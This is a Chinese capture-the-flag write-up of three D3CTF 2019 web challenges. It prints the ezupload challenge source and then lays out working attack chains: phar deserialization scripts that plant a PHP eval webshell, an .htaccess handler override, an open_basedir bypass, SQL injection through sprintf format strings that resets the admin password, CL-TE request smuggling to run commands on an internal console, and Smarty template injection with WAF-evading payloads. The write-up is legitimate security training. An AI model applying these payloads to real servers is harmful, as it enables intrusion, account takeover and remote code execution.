前言
没做出来题,下次加油
ezupload
https://github.com/Lou00/d3ctf_2019_ezupload
给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| <?php class dir{ public $userdir; public $url; public $filename; public function __construct($url,$filename) { $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]); $this->url = $url; $this->filename = $filename; if (!file_exists($this->userdir)) { mkdir($this->userdir, 0777, true); } } public function checkdir(){ if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) { die('hacker!!!'); } } public function checkurl(){ $r = parse_url($this->url); if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){ die('hacker!!!'); } } public function checkext(){ if (stristr($this->filename,'..')){ die('hacker!!!'); } if (stristr($this->filename,'/')){ die('hacker!!!'); } $ext = substr($this->filename, strrpos($this->filename, ".") + 1); if (preg_match("/ph/i", $ext)){ die('hacker!!!'); } } public function upload(){ $this->checkdir(); $this->checkurl(); $this->checkext(); $content = file_get_contents($this->url,NULL,NULL,0,2048); if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){ die('hacker!!!'); } file_put_contents($this->userdir."/".$this->filename,$content); } public function remove(){ $this->checkdir(); $this->checkext(); if (file_exists($this->userdir."/".$this->filename)){ unlink($this->userdir."/".$this->filename); } } public function count($dir) { if ($dir === ''){ $num = count(scandir($this->userdir)) - 2; } else { $num = count(scandir($dir)) - 2; } if($num > 0) { return "you have $num files"; } else{ return "you don't have file"; } } public function __toString() { return implode(" ",scandir(__DIR__."/".$this->userdir)); } public function __destruct() { $string = "your file in : ".$this->userdir; file_put_contents($this->filename.".txt", $string); echo $string; } }
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){ highlight_file(__FILE__); die(); }
$dir = new dir($_POST['url'],$_POST['filename']); if($_POST['action'] === "upload") { $dir->upload(); } elseif ($_POST['action'] === "remove") { $dir->remove(); } elseif ($_POST['action'] === "count") { if (!isset($_POST['dir'])){ echo $dir->count(''); } else { echo $dir->count($_POST['dir']); } }
|
hint1:webroot changes every 10 mins
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function count($dir) { if ($dir === ''){ $num = count(scandir($this->userdir)) - 2; } else { $num = count(scandir($dir)) - 2; } if($num > 0) { return "you have $num files"; } else{ return "you don't have file"; } }
|
glob爆破web目录
但是减了2,而且glob协议对点在前的不计入,要传三个文件才开始爆破,我猜出题人觉得. 和 .. 也被算进去了?
但是文件不能有<?php
等,phar文件是有<?php
的
参考怀秋师傅https://lihuaiqiu.github.io/2019/11/28/2019D-3CTF-%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/
gzip打包,phar://协议会解压,能直接列出/var/www/html 的目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class dir{ public $userdir; }
$d = new dir(); $d->userdir = new dir(); $d->userdir->userdir = "../"; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("GIF89A"."__HALT_COMPILER();"); $phar->setMetadata($d); $phar->addFromString("test.txt", ""); $phar->stopBuffering();
?>
|
既然能phar了
__destruct
可以任意写入文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class dir{ public $userdir; public $url; public $filename; public function __construct() { $this->filename = "/var/www/html/320274ee8b7f2e8a/upload/3552434d3ac4804fb2664474109c04c5/tinmin"; $this->userdir = '<?php eval($_POST[1]);?>'; } }
$a = new dir(); @unlink("test.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89A"."__HALT_COMPILER();"); $phar->setMetadata($a); $phar->addFromString("test.txt", ""); $phar->stopBuffering();
|
之后就会写入tinmin.txt
再传入.htaccess
1
| action=upload&url=data://text/plain,AddHandler%20php7-script%20.txt&filename=.htaccess
|
txt 被解析为php
然后传统 bypass open_basedir
https://xz.aliyun.com/t/4720
payload
1=ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/‘);readfile(‘/F1aG_1s_H4r4’);
showhub
题目环境
https://github.com/Li4n0/My-CTF-Challenges/tree/master/D%5E3CTF2019_Showhub
docker-compose.yml 不能改port,改的话,需要修改trafficserver 的remap.config
1
| regex_map http://(.*):port/ http://d3ctf-nginx
|
insert 注入
1
| username=admin%1$',sleep(5)) #&password=123123
|
能延时成功
insert on duplicate key update 注入
https://dev.mysql.com/doc/refman/8.0/en/insert-on-duplicate.html
格式化字符串逃逸单引号https://paper.seebug.org/386/#0x00
1 2 3 4 5 6 7 8 9 10
| <?php $sql = "insert into user(username) values ('%s';"; $args = "admin%1$',sleep(3)) #"; $args = addslashes($args); echo $args.PHP_EOL; $sql = sprintf( $sql, $args); echo $sql.PHP_EOL; echo sprintf( $sql, $args).PHP_EOL; //result: insert into user(username) values ('admin',sleep(3)) #'; ?>
|
1
| username=admin%1$',0x60) on duplicate key update password=0x38633639373665356235343130343135626465393038626434646565313564666231363761396338373366633462623861383166366632616234343861393138#&password=123123
|
admin密码被修改为admin
CE-TE走私
Server:ATS/7.1.2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST / HTTP/1.1 Host: ctf.tinmin.cn Pragma: no-cache Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://39.108.36.103/Manage/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=n7u5qkk164rsku2jpn7vvm0n9o Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 76 Transfer-Encoding: chunked
0
GET /WebConsole HTTP/1.1 Host: ctf.tinmin.cn Client-IP: 127.0.0.1
|
max-age=0才能成功
保存了一下界面好好看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| GET /WebConsole HTTP/1.1 Host: ctf.tinmin.cn Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://39.108.36.103/Manage/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=n7u5qkk164rsku2jpn7vvm0n9o Connection: close Transfer-Encoding: chunked Content-Length: 52
0
POST /WebConsole HTTP/1.1 Client-IP: 127.0.0.1
|
400 error能说明走私成功了,但是包的构造有问题,需要Content-Type
Content-Length
,Cookie
一直无回显,最后发现要post /WebConsole/exec,调对了发两次就能成功,大概理解为第一次将第二段包缓存,第二次请求会发过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| GET /WebConsole HTTP/1.1 Host: ctf.tinmin.cn Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/78.0.3904.108 Chrome/78.0.3904.108 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://39.108.36.103/Manage/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=umj2hbfae21cug89jigg27ic7q Connection: close Content-Length: 213 Transfer-Encoding: chunked
0
POST /WebConsole/exec HTTP/1.1 Host: ctf.tinmin.cn Client-IP: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=umj2hbfae21cug89jigg27ic7q Content-Length: 30
cmd=cat /flag;
|
抓个包wireshark看一下
第一个请求正常的get
第二次请求时将第一次缓存的post请求发送
Li4n0师傅这道题质量好高
easyweb
非预期解
1 2 3 4 5 6 7
| private function sql_safe($sql){ if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)/i',$sql)){ return ''; }else{ return $sql; } }
|
un{ion
绕waf二次注入
smarty模板注入
十六进制转字符串为
1
| {{php}}phpinfo();{{/php}}
|
payload:
1
| 1' un{ion sel{ect 0x7B7B7068707D7D706870696E666F28293B7B7B2F7068707D7D #
|
写入一句话
1
| 1' uni{on sel{ect 0x7b7b7068707d7d6576616c28245f4745545b315d293b7b7b2f7068707d7d#
|
预期解
phar